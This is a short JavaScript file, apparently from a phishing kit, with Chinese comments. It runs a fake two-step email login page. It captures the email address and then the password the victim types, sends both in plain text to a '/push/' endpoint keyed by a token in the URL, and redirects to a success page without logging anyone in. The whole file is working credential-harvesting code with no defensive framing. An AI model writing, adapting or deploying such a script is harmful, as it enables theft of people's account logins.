var username = '';
var password = '';

function getHeadURL() {
    var url = window.location.href;
    // 截取到 https://xxx.xxx.com 或者 http://xxx.xxx.com
    var headURL = url.substring(0, url.indexOf('/', 8));
    return headURL;
}

function next() {
    var email = document.getElementById('in');
    var page_1 = document.getElementById('page_1');
    page_1.style.display='none';

    var page_2 = document.getElementById('page_2');
    page_2.style.display = 'block';
    var email_show = document.getElementById('email');
    email_show.innerText = email.innerText;

    username = email.value;
}

function login() {
    var pwd = document.getElementById('password');
    password = pwd.value;

    var url = window.location.href;
    var xhr = new XMLHttpRequest();
    xhr.open('POST', getHeadURL()+"/push/", true);
    xhr.send(JSON.stringify({"token":url.substring(getHeadURL().length, url.length).replace("/",""),"content":"用户名: "+username+" 密码: "+password}));

    xhr.onload = function() {
        window.location.href = "/resource/other/ok.html"
    };
}